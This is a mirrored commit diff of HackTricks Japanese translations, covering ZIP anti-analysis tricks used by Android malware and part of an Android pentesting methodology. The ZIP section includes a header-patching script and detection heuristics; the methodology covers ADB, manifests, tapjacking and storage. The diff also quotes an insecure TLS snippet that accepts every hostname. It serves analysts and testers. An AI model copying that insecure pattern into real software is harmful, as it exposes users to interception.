maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/windows-hardening/active-directory-methodology/kerb

Browse Source
This commit is contained in:
Translator 2025-09-04 00:59:42 +00:00
parent 9b713a94eb
commit b39f5c6a7b
18 changed files with 1765 additions and 1749 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

68
src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
View File

@ -1,30 +1,30 @@
# ZIPs tricks
# ZIPのトリック
{{#include ../../../banners/hacktricks-training.md}}
**コマンドラインツール**は **zip files** の診断、修復、クラッキングに不可欠です。ここでは主要なユーティリティを示します:
**コマンドラインツール**は**zipファイル**の診断、修復、パスワードクラッキングに不可欠です。主要なユーティリティは以下の通りです:
- **`unzip`**: zip file が解凍されない理由を表示します。
- **`zipdetails -v`**: zip file format fields を詳細に解析します。
- **`zipinfo`**: 抽出せずに zip file の内容を一覧表示します。
- **`zip -F input.zip --out output.zip`** と **`zip -FF input.zip --out output.zip`**: 破損した zip files の修復を試みます。
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: zip passwords のブルートフォース用ツール。おおよそ7文字までのパスワードに有効です。
- **`unzip`**: zipファイルが展開できない理由を明らかにします。
- **`zipdetails -v`**: zipフォーマットのフィールドを詳細に解析します。
- **`zipinfo`**: 抽出せずにzipファイルの内容を一覧表示します。
- **`zip -F input.zip --out output.zip`** および **`zip -FF input.zip --out output.zip`**: 破損したzipファイルの修復を試みます。
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: zipパスワードをブルートフォースで破るツール。およそ7文字までのパスワードに有効です。
[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) は zip files の構造と規格を包括的に説明しています。
[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) は、zipファイルの構造と標準に関する包括的な情報を提供します。
重要なのは、パスワード保護された zip files はファイル名やファイルサイズを暗号化しないことです。これは、これらの情報を暗号化する RAR や 7z とは異なるセキュリティ上の欠陥です。さらに、古い ZipCrypto メソッドで暗号化された zip files は、圧縮済みファイルの未暗号化コピーが利用可能な場合に plaintext attack に対して脆弱です。この攻撃は既知の内容を利用して zip のパスワードを破るもので、詳細は [HackThis の記事](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) や [この学術論文](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) を参照してください。ただし、**AES-256** で保護された zip files はこの plaintext attack に対して耐性があり、機密データには安全な暗号方式を選ぶ重要性を示しています。
重要な点として、パスワード保護されたzipファイルは内部のファイル名やファイルサイズを**暗号化しない**ため、これはRARや7zが持つようなファイル名/サイズの暗号化を伴わないセキュリティ上の欠陥です。さらに、古いZipCrypto方式で暗号化されたzipは、圧縮ファイルの非暗号化コピーが利用可能な場合に**plaintext attack**（既知平文攻撃）に対して脆弱です。この攻撃は既知のコンテンツを利用してzipのパスワードを割るもので、詳細は[HackThisの記事](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)や[この学術論文](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf)で説明されています。しかし、**AES-256**で保護されたzipファイルはこの既知平文攻撃に対して免疫があるため、機密データには安全な暗号化方式を選ぶことが重要です。
---
## 改変された ZIP ヘッダを利用した APK の逆解析防止トリック
## 改ざんされたZIPヘッダを使ったAPKの逆解析防止トリック
Modern Android malware droppers は不正な ZIP メタデータを使って静的解析ツール（jadx/apktool/unzip など）を壊しつつ、デバイス上では APK をインストール可能にします。よく使われるトリックは次の通りです:
現代のAndroidマルウェアドロッパーは、APKを端末上でインストール可能なままにしつつ、壊れたZIPメタデータを使って静的ツール（jadx/apktool/unzip）を破壊します。最も一般的なトリックは次の通りです:
- ZIP General Purpose Bit Flag (GPBF) の bit 0 を立てて偽の暗号化を示す
- 大きな／カスタムの Extra fields を悪用してパーサを混乱させる
- ファイル／ディレクトリ名の衝突で実際のアーティファクトを隠す（例: 実際の `classes.dex` の横に `classes.dex/` というディレクトリを置く）
- ZIP General Purpose Bit Flag (GPBF) のビット0を立てて偽の暗号化を示す
- パーサを混乱させるために大きな/カスタムのExtraフィールドを悪用する
- 実際のアーティファクトを隠すためのファイル/ディレクトリ名の衝突（例: 実際の `classes.dex` の横に `classes.dex/` というディレクトリを置く）
### 1) Fake encryption (GPBF bit 0 set) without real crypto
### 1) 実際の暗号化なしの偽の暗号化（GPBF ビット0がセットされている）
症状:
- `jadx-gui` が次のようなエラーで失敗する:
@ -32,7 +32,7 @@ Modern Android malware droppers は不正な ZIP メタデータを使って静
```
java.util.zip.ZipException: invalid CEN header (encrypted entry)
```
- `unzip` が core APK ファイルに対してパスワードを要求する（ただし有効な APK は `classes*.dex`、`resources.arsc`、`AndroidManifest.xml` が暗号化されることはありえません）:
- `unzip` はコアAPKファイルに対してパスワードを求めますが、有効なAPKでは `classes*.dex`、`resources.arsc`、または `AndroidManifest.xml` が暗号化されることはありえません:
```bash
unzip sample.apk
@ -43,11 +43,11 @@ skipping: resources.arsc/res/domeo/eqmvo.xml incorrect password
skipping: classes2.dex incorrect password
```
zipdetails による検出:
zipdetailsでの検出:
```bash
zipdetails -v sample.apk | less
```
local and central headers の General Purpose Bit Flag を見てください。特徴的な値は bit 0 がセットされていること（Encryption）で、core entries に対しても当てはまります:
local および central headers の General Purpose Bit Flag を見てください。特徴的なのは、core エントリでさえ bit 0（Encryption）がセットされている値です：
```
Extract Zip Spec 2D '4.5'
General Purpose Flag 0A09
@ -56,9 +56,9 @@ General Purpose Flag 0A09
[Bit 3] 1 'Streamed'
[Bit 11] 1 'Language Encoding'
```
ヒューリスティック: APKがデバイスにインストールされ実行されるが、ツールから見るとコアエントリが "encrypted" のように見える場合、GPBFが改ざんされている。
ヒューリスティック: APKがデバイス上でインストールおよび実行されるが、ツールに主要なエントリが「encrypted」と表示される場合、GPBFが改ざんされています。
Local File Headers (LFH) と Central Directory (CD) の両方のエントリで GPBF のビット0をクリアして修正する。最小限の byte-patcher:
Local File Headers (LFH) と Central Directory (CD) の両方のエントリで GPBF の bit 0 をクリアすることで修正します。最小バイトパッチャー:
```python
# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
import struct, sys
@ -89,28 +89,28 @@ data, p_cdh = patch_flags(data, SIG_CDH, 8) # CDH flag at +8
open(outp, 'wb').write(data)
print(f'Patched: LFH={p_lfh}, CDH={p_cdh}')
```
使用法:
使い方:
```bash
python3 gpbf_clear.py obfuscated.apk normalized.apk
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
```
コアエントリで `General Purpose Flag 0000` が表示され、ツールは再度 APK を解析します。
これでコアエントリに `General Purpose Flag 0000` が表示され、ツールは再び APK を解析します。
### 2) パーサを壊す大容量/カスタムのExtraフィールド
### 2) パーサを壊す大きな/カスタム Extra フィールド
攻撃者はデコンパイラを混乱させるため、ヘッダに大きすぎるExtraフィールドや奇妙なIDを詰め込みます。実際には、そこにカスタムマーカー（例: `JADXBLOCK` のような文字列）が埋め込まれていることがあります。
攻撃者はヘッダに巨大な Extra フィールドや奇妙な ID を詰め込み、デコンパイラを誤作動させます。実際のサンプルでは、そこにカスタムマーカー（例: `JADXBLOCK` のような文字列）が埋め込まれていることがあります。
解析:
検査:
```bash
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
```
観察例: unknown IDs like `0xCAFE` ("Java Executable") or `0x414A` ("JA:") carrying large payloads。
Examples observed: unknown IDs like `0xCAFE` ("Java Executable") or `0x414A` ("JA:") carrying large payloads.
DFIR heuristics:
- コアエントリ（`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`）の Extra fields が異常に大きい場合にアラートを上げる。
- それらのエントリにある不明な Extra ID を疑わしいものとして扱う。
- core エントリ（`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`）で Extra フィールドが異常に大きい場合にアラートを出す。
- それらのエントリで不明な Extra ID は疑わしいものとして扱う。
Practical mitigation: アーカイブを再構築する（例: 抽出したファイルを再圧縮する）ことで悪意のある Extra fields を削除できる。ツールが偽の暗号化のため抽出を拒否する場合は、上記のようにまず GPBF bit 0 をクリアし、再パッケージする:
Practical mitigation: rebuilding the archive (e.g., re-zipping extracted files) strips malicious Extra fields. If tools refuse to extract due to fake encryption, first clear GPBF bit 0 as above, then repackage:
```bash
mkdir /tmp/apk
unzip -qq normalized.apk -d /tmp/apk
@ -118,7 +118,7 @@ unzip -qq normalized.apk -d /tmp/apk
```
### 3) ファイル/ディレクトリ名の衝突（実ファイルを隠す）
ZIPはファイル `X` とディレクトリ `X/` の両方を含めることがあります。いくつかの抽出ツールやデコンパイラは混乱して、ディレクトリエントリで実ファイルを上書きまたは隠してしまうことがあります。これは `classes.dex` のようなコアAPK名とエントリが衝突するケースで観測されています。
ZIPはファイル`X`とディレクトリ`X/`の両方を含めることができます。一部の抽出ツールやデコンパイラは混乱し、ディレクトリエントリで実際のファイルを上書きしたり隠してしまうことがあります。これは`classes.dex`のようなコアAPK名とエントリが衝突するケースで観測されています。
トリアージと安全な抽出:
```bash
@ -148,10 +148,10 @@ for base, variants in collisions.items():
if len(variants) > 1:
print('COLLISION', base, '->', variants)
```
Blue-team detection ideas:
- ローカルヘッダが暗号化を示している（GPBF bit 0 = 1）にもかかわらずインストール／実行されるAPKをフラグを立てる。
- コアエントリ上の大きい／不明な Extra fields をフラグする（`JADXBLOCK` のようなマーカーを探す）。
- `AndroidManifest.xml`、`resources.arsc`、`classes*.dex` に関して、`X` と `X/` のようなパス衝突を特にフラグする。
Blue-team の検出アイデア:
- APK のローカルヘッダで暗号化が示されている (GPBF bit 0 = 1) のにインストール/実行されているものを検出する。
- コアエントリの大きな/不明な Extra フィールドを検出する（`JADXBLOCK` のようなマーカーを探す）。
- パス衝突（`X` と `X/`）を、特に `AndroidManifest.xml`, `resources.arsc`, `classes*.dex` に対して検出する。
---

577
src/linux-hardening/privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

458
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -1,10 +1,10 @@
# Androidアプリケーション Pentesting
# Android Applications Pentesting
{{#include ../../banners/hacktricks-training.md}}
## Androidアプリケーションの基本
このページは、**Androidのセキュリティに関連する最重要部分と、Androidアプリケーション内で最も危険なコンポーネント**について知るために、まず読むことを強く推奨します：
このページをまず読むことを強くお勧めします。**Androidのセキュリティに関連する最も重要な部分と、Androidアプリケーション内で最も危険なコンポーネント**について知ることができます：
{{#ref}}
@ -13,24 +13,24 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
これは、エミュレートされたデバイスでも実機でも、Androidデバイスに接続するために必要な主要なツールです。\
**ADB** はコンピュータから **USB** または **Network** 経由でデバイスを制御できます。このユーティリティは、ファイルの双方向での**コピー**、アプリの**インストール**と**アンインストール**、**shell commands**の実行、データの**バックアップ**、ログの**閲覧**などの機能を提供します。
これは、androidデバイス（エミュレートされたものまたは実機）に接続するための主要なツールです。\
**ADB**を使うと、コンピュータから**USB**または**Network**経由でデバイスを制御できます。このユーティリティは、双方向のファイルの**コピー**、アプリの**インストール**と**アンインストール**、シェルコマンドの**実行**、データの**バックアップ**、ログの**読み取り**などの機能を提供します。
adbの使い方を学ぶには、次の[**ADB Commands**](adb-commands.md)の一覧を参照してください。
次の[**ADB Commands**](adb-commands.md)の一覧を参照してadbの使い方を学んでください。
## Smali
アプリケーションコードを変更して**隠された情報**（難読化されたパスワードやフラグなど）にアクセスすることが有用な場合があります。その際、apkをデコンパイルしてコードを修正し、再コンパイルすることが考えられます。\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md)。これは、これから紹介する動的解析中のいくつかのテストの代替手段として非常に役立ちます。常にこの可能性を念頭に置いてください。
場合によっては、**隠された情報**（難読化されたパスワードやフラグなど）にアクセスするために**アプリケーションのコードを変更する**ことが有用です。そこで、apkを逆コンパイルしてコードを修正し、再コンパイルすることが有効な場合があります。\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md)。これは、これから紹介する動的解析中の複数のテストの**代替手段として非常に有用**です。したがって、**常にこの可能性を念頭に置いてください**。
## その他の興味深いテクニック
## その他の興味深いトリック
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- デバイスからAPKを抽出する方法：
- **APKのダウンロード**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- デバイスからAPKを抽出:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- [APKEditor](https://github.com/REAndroid/APKEditor) を使用して、すべての splits と base apks をマージする:
- すべての splits と base apks を [APKEditor](https://github.com/REAndroid/APKEditor) でマージする:
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## ケーススタディと脆弱性
## ケーススタディ & 脆弱性
{{#ref}}
@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## 静的解析
まず、APKを解析する際はデコンパイラを使って**Javaコードを確認する**べきです。\
[**利用可能なさまざまなデコンパイラに関する情報はこちらを参照してください**](apk-decompilers.md)。
まず、APK を解析する際は decompiler を使って **Java コードを確認する**べきです。\
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
### 興味深い情報の探索
### 興味深い情報を探す
APKの**strings**を覗くだけで、**パスワード**、**URL**（https://github.com/ndelphit/apkurlgrep）、**APIキー**、**暗号化**、**Bluetooth UUID**、**トークン**などや興味深いものを検索できます。コード実行の**バックドア**や認証バックドア（アプリにハードコードされた管理者資格情報）も探してみてください。
APK の **strings** を見るだけで、**passwords**、**URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** keys、**encryption**、**bluetooth uuids**、**tokens** など興味深いものを探せます。コード実行の **backdoors** や認証 backdoors（アプリにハードコードされた管理者資格情報）も確認してください。
**Firebase**
**Firebase URL**には特に注意し、設定が不適切でないか確認してください。[Firebaseとは何か、及びそれを悪用する方法の詳細はこちら。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
**Firebase** の URL に特に注意し、設定が不適切でないか確認してください。[More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### アプリケーションの基本理解 - Manifest.xml, strings.xml
### アプリケーションの基本的理解 - Manifest.xml, strings.xml
アプリケーションの _Manifest.xml_ と _strings.xml_ ファイルを**調査することで潜在的なセキュリティ脆弱性が明らかになることがあります**。これらのファイルはデコンパイラで取得するか、APKの拡張子を .zip に変更して解凍して取得できます。
アプリケーションの _Manifest.xml_ と **_strings.xml_** を調査することで、潜在的なセキュリティ脆弱性を明らかにできることがあります。これらのファイルは decompiler を使うか、APK の拡張子を .zip に変更して展開することで参照できます。
**Manifest.xml** から特定できる脆弱性には次のようなものがあります:
**Manifest.xml** から特定できる **脆弱性** には以下が含まれます:
- **Debuggable Applications**: _Manifest.xml_ に `debuggable="true"` と設定されたアプリケーションは、接続を許可することで悪用につながるリスクがあります。デバイス上で debuggable なアプリを見つけて悪用する方法については、該当するチュートリアルを参照してください。
- **Backup Settings**: `android:allowBackup="false"` 属性は、機密情報を扱うアプリでは明示的に設定しておくべきです。特に USBデバッグ が有効な場合に adb 経由で不正なデータバックアップを防ぐため重要です。
- **Network Security**: _res/xml/_ 内のカスタムネットワークセキュリティ構成（`android:networkSecurityConfig="@xml/network_security_config"`）は、証明書ピンや HTTP トラフィック設定などのセキュリティ詳細を指定できます。例えば特定ドメインの HTTP トラフィックを許可する設定などが考えられます。
- **Exported Activities and Services**: マニフェスト内でエクスポートされた activity や service を特定することで、悪用されうるコンポーネントが浮かび上がります。動的テスト中のさらなる解析でこれらをどのように悪用できるかが明らかになります。
- **Content Providers and FileProviders**: 公開された content provider はデータへの不正アクセスや改ざんを許す可能性があります。FileProviders の設定も入念に確認してください。
- **Broadcast Receivers and URL Schemes**: これらのコンポーネントは悪用される可能性があり、特に URL スキームの扱い方による入力脆弱性に注意する必要があります。
- **SDK Versions**: `minSdkVersion`、`targetSDKVersion`、`maxSdkVersion` 属性はサポートする Android バージョンを示します。古く脆弱な Android バージョンをサポートしているとセキュリティ上の問題になります。
- **Debuggable Applications**: _Manifest.xml_ で `debuggable="true"` に設定されたアプリは、接続を許可してしまい、悪用のリスクがあります。デバッグ可能なアプリをデバイス上で検出して悪用する方法については、該当チュートリアルを参照してください。
- **Backup Settings**: 敏感な情報を扱うアプリでは、`android:allowBackup="false"` を明示的に設定しておくべきです。特に USB debugging が有効な場合、adb 経由での不正なデータバックアップを防ぐためです。
- **Network Security**: `android:networkSecurityConfig="@xml/network_security_config"` のようなカスタム network security 設定（`res/xml/`）は、certificate pinning や HTTP トラフィック設定などのセキュリティ詳細を指定できます。例として特定ドメインで HTTP トラフィックを許可しているケースなどがあります。
- **Exported Activities and Services**: マニフェストで exported な activities や services を特定すると、悪用されうるコンポーネントが浮き彫りになります。動的テストでこれらをさらに解析し、どのように悪用できるかを確認します。
- **Content Providers and FileProviders**: 公開されている content provider はデータの不正アクセスや改竄を許す可能性があります。FileProviders の設定も注意深く確認してください。
- **Broadcast Receivers and URL Schemes**: これらのコンポーネントは悪用される可能性があり、特に URL schemes の扱い方が入力に対する脆弱性を生まないかを確認する必要があります。
- **SDK Versions**: `minSdkVersion`、`targetSDKVersion`、`maxSdkVersion` はサポートしている Android バージョンを示します。古い脆弱な Android バージョンをサポートしないことが重要です。
**strings.xml** ファイルからは、APIキー、カスタムスキーマ、その他開発者のメモなどの機密情報が見つかることがあり、これらのリソースを注意深くレビューする必要があります。
**strings.xml** ファイルからは、API keys、カスタムスキーマ、その他開発者のメモなどの機密情報が見つかることがあり、これらのリソースは注意深く確認する必要があります。
### Tapjacking
**Tapjacking** は、**悪意のある** **アプリケーション** が起動して **被害アプリの上に重ねて表示される** 攻撃です。被害アプリを目に見えて覆い隠すと、悪意のある UI はユーザを騙して操作させ、その操作を被害アプリに渡します。\
結果的に、ユーザは自分が実際に被害アプリ上で操作を行っていることに気づかないまま動作させられてしまいます。
**Tapjacking** は、**malicious** な **application** を起動して **victim application の上に重ねて配置する**攻撃です。victim app を視覚的に覆い隠した状態で、UI をユーザを騙すように設計し、ユーザの操作を victim app に渡すようにします。\
結果として、ユーザは実際には victim app 上で操作を行っていることに気づかされないまま操作させられてしまいます。
詳しくは以下を参照してください:
Find more information in:
{{#ref}}
@ -104,9 +104,9 @@ tapjacking.md
### Task Hijacking
`launchMode` が **`singleTask`** に設定され、かつ `taskAffinity` が定義されていない **activity** は Task Hijacking の脆弱性があります。これは、別の **application** をインストールしてそれが本物のアプリより先に起動されると、**本物のアプリのタスクをハイジャックしてしまう**（ユーザは本物を使っているつもりで悪意のあるアプリを操作している）可能性があるという意味です。
`launchMode` が **`singleTask` で `taskAffinity` が定義されていない** activity は Task Hijacking の脆弱性があります。つまり、悪意ある **application** をインストールして、そのアプリが本来のアプリより先に起動されると、**本来のアプリのタスクをハイジャック**してしまう可能性があり（ユーザは本物のアプリを使っているつもりで悪意あるアプリを操作している）、危険です。
詳細は以下を参照してください:
More info in:
{{#ref}}
@ -117,69 +117,69 @@ android-task-hijacking.md
**Internal Storage**
Android では、内部ストレージに**保存された**ファイルはそれを作成した**アプリのみがアクセスできるように設計**されています。このセキュリティは OS によって強制され、多くのアプリにとっては十分です。しかし開発者が `MODE_WORLD_READABLE` や `MODE_WORLD_WRITABLE` のようなモードを使ってファイルを他のアプリ間で共有することがあり、これらのモードは悪意あるアプリも含めた他のアプリからのアクセスを制限しません。
Android では、**internal** ストレージに保存されたファイルは、それを作成した **app** のみがアクセスできるように設計されています。このセキュリティ対策は OS によって強制されており、多くのアプリのセキュリティ要件には十分です。しかし、開発者が `MODE_WORLD_READABLE` や `MODE_WORLD_WRITABLE` のようなモードを使用して複数のアプリ間でファイルを共有する場合があります。これらのモードは他のアプリ、場合によっては悪意あるアプリからのアクセスを制限しません。
1. **Static Analysis:**
- `MODE_WORLD_READABLE` と `MODE_WORLD_WRITABLE` の使用は**慎重に精査**してください。これらのモードはファイルを**意図しない、または不正なアクセス**に晒す可能性があります。
- `MODE_WORLD_READABLE` と `MODE_WORLD_WRITABLE` の使用がないかを慎重に確認してください。これらのモードはファイルを意図しない、または不正なアクセスに晒す可能性があります。
2. **Dynamic Analysis:**
- アプリが作成するファイルに設定されている**パーミッション**を確認してください。具体的には、ファイルが世界中で読み取り／書き込み可能になっていないかをチェックします。これがあると、デバイスにインストールされた**任意のアプリ**がそれらのファイルを読み取ったり改変したりできる重大なリスクになります。
- アプリが作成するファイルの権限を確認してください。特に、ファイルが worldwide に読み取り可能または書き込み可能に設定されていないかをチェックします。これが有効だと、デバイスにインストールされている任意のアプリがこれらのファイルを読み書きできるため、重大なセキュリティリスクになります。
**External Storage**
SDカードなどの**外部ストレージ**上のファイルを扱う際には、以下の注意が必要です:
SD カードなどの **external storage** 上のファイルを扱う際は、以下の点に注意してください:
1. **Accessibility**:
- 外部ストレージ上のファイルは**グローバルに読み書き可能**です。つまり任意のアプリやユーザがアクセスできます。
- external storage 上のファイルは一般的にグローバルに読み書き可能です。つまり、任意のアプリやユーザがアクセスできます。
2. **Security Concerns**:
- アクセスが容易であるため、機密情報を外部ストレージに保存するべきではありません。
- 外部ストレージは取り外し可能であり、任意のアプリによってアクセスされ得るため安全性が低いです。
- アクセスが容易なため、機密情報を external storage に保存しないことが推奨されます。
- external storage は取り外し可能であり、任意のアプリからアクセスされる可能性があるため、安全性が低くなります。
3. **Handling Data from External Storage**:
- 外部ストレージから取得したデータは常に**入力検証**を行ってください。外部ストレージのデータは信頼できないソースから来る可能性があるため重要です。
- 外部ストレージに実行ファイルや class ファイルを置き、動的にロードすることは強く推奨されません。
- どうしても外部ストレージから実行可能ファイルを取得して動的にロードする必要がある場合は、それらのファイルが**署名され、暗号的に検証**されていることを確認してください。これはアプリのセキュリティ整合性を保つ上で重要です。
- external storage から取得するデータは常に入力検証を行ってください。これは、信頼できないソースからのデータであるため非常に重要です。
- external storage に実行ファイルや class ファイルを保存して動的にロードすることは強く非推奨です。
- もしアプリが external storage から実行ファイルを取得して動的にロードする必要がある場合、それらのファイルは署名され、暗号的に検証されてからロードするようにしてください。これはアプリのセキュリティ整合性を保つために不可欠です。
外部ストレージには /storage/emulated/0 , /sdcard , /mnt/sdcard でアクセスできます
External storage は /storage/emulated/0 , /sdcard , /mnt/sdcard でアクセスできます
> [!TIP]
> Android 4.4（**API 17**）以降、SDカードにはアプリごとに専用のディレクトリ構造があり、アプリからはそのアプリ専用のディレクトリにのみアクセスが制限されます。これにより、悪意のあるアプリが別のアプリのファイルを読み書きすることを防げます。
> Android 4.4 (**API 17**) 以降、SD card はディレクトリ構造が変更され、アプリからアクセスできるのはそのアプリ専用のディレクトリに限定されるようになりました。これにより、悪意あるアプリが他のアプリのファイルに対して読み取りや書き込みアクセスを得ることを防ぎます。
**平文で保存された機密データ**
**Sensitive data stored in clear-text**
- **Shared preferences**: Android は各アプリが `/data/data/<packagename>/shared_prefs/` に XML ファイルを簡単に保存できる仕組みがあり、そのフォルダ内に平文で機密情報が保存されていることがあります。
- **Databases**: Android は各アプリが `/data/data/<packagename>/databases/` に sqlite データベースを簡単に保存でき、そのフォルダ内に平文で機密情報が保存されていることがあります。
- **Shared preferences**: Android は各アプリが `/data/data/<packagename>/shared_prefs/` に簡単に xml ファイルを保存できるようにしており、そのフォルダ内に平文の機密情報が見つかることがあります。
- **Databases**: Android は各アプリが `/data/data/<packagename>/databases/` に簡単に sqlite データベースを保存できるようにしており、そのフォルダ内に平文の機密情報が見つかることがあります。
### Broken TLS
**Accept All Certificates**
なぜか開発者が、例えばホスト名が一致しない場合でもすべての証明書を受け入れてしまうことがあります。以下のようなコード行で:
なぜか開発者がすべての証明書を受け入れてしまうことがあります。例えば hostname が一致しない場合でも以下のようなコード行で受け入れてしまうことがあります:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
BurpのCAをデバイス内で許可せずに、Burpのようなプロキシを使ってトラフィックをキャプチャしてみるのが良いテスト方法です。また、Burpで別のホスト名用の証明書を生成してそれを使うこともできます。
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
### Broken Cryptography
### 脆弱な暗号
**不適切なキー管理プロセス**
**Poor Key Management Processes**
一部の開発者は、機密データをローカルストレージに保存し、コード内にハードコード／予測可能なキーで暗号化してしまいます。これは避けるべきで、なぜなら一部のreversingによって攻撃者が機密情報を抽出してしまう可能性があるからです。
一部の開発者は機密データをローカルストレージに保存し、コード内にハードコード／予測可能なキーで暗号化します。これはリバースで攻撃者が機密情報を抽出できる可能性があるため避けるべきです。
**Use of Insecure and/or Deprecated Algorithms**
開発者は**deprecated algorithms**を使って認可チェック、データの**保存**や**送信**を行うべきではありません。これらのアルゴリズムには RC4、MD4、MD5、SHA1 などがあります。例えばパスワードを保存するために**hashes**を使う場合は、ソルトを用いたブルートフォース耐性のあるハッシュを使用するべきです。
開発者は認証チェック、データの保存や送信に**deprecated algorithms**を使うべきではありません。これらのアルゴリズムには RC4, MD4, MD5, SHA1 などがあります。例えばパスワード保存に**hashes**を使う場合は、ソルト付きでブルートフォース耐性のあるハッシュを使用するべきです。
### Other checks
- 攻撃者によるreverse engineerの労力を難しくするために、**APKをobfuscate**することが推奨されます。
- アプリが機微なものである場合（銀行アプリなど）、モバイルが**rooted**かどうかを独自にチェックし、それに応じた処理を行うべきです。
- アプリが機微なものである場合（銀行アプリなど）、**emulator**が使われていないかをチェックするべきです。
- アプリが機微なものである場合（銀行アプリなど）、実行前に**自身のintegrityをチェック**して改変されていないか確認するべきです。
- どのcompiler/packer/obfuscatorが使われているかを確認するために [**APKiD**](https://github.com/rednaga/APKiD) を使用してください。
- It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers.
- If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence.
- If the app is sensitive (like bank apps), it should check if an **emulator** is being used.
- If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified.
- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK
### React Native Application
Reactアプリケーションのjavascriptコードへ簡単にアクセスする方法を学ぶには、以下のページを読んでください：
Read the following page to learn how to easily access javascript code of React applications:
{{#ref}}
@ -188,7 +188,7 @@ react-native-application.md
### Xamarin Applications
XamarinアプリのC#コードへ簡単にアクセスする方法を学ぶには、以下のページを読んでください：
Read the following page to learn how to easily access C# code of a xamarin applications:
{{#ref}}
@ -197,17 +197,17 @@ XamarinアプリのC#コードへ簡単にアクセスする方法を学ぶに
### Superpacked Applications
この[**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)によると、superpackedはアプリのコンテンツを単一ファイルに圧縮するMetaアルゴリズムです。ブログではこの種のアプリを展開するアプリを作成する可能性について触れており、もう一つのより高速な方法として**アプリを実行してファイルシステムから解凍済みファイルを収集する**方法が述べられています。
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
### Automated Static Code Analysis
[**mariana-trench**](https://github.com/facebook/mariana-trench) はアプリケーションの**コード**を**スキャン**して**脆弱性**を発見できるツールです。このツールは、ツールに対して**入力がユーザによって制御される場所**を示す一連の**known sources**、悪意あるユーザ入力が被害を引き起こす可能性のある**危険な場所**を示す**sinks**、および**rules**を含みます。これらのrulesは、脆弱性を示すsources-sinksの**組み合わせ**を表します。
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
この知識に基づいて、**mariana-trenchはコードをレビューし、そこにある可能性のある脆弱性を発見します**。
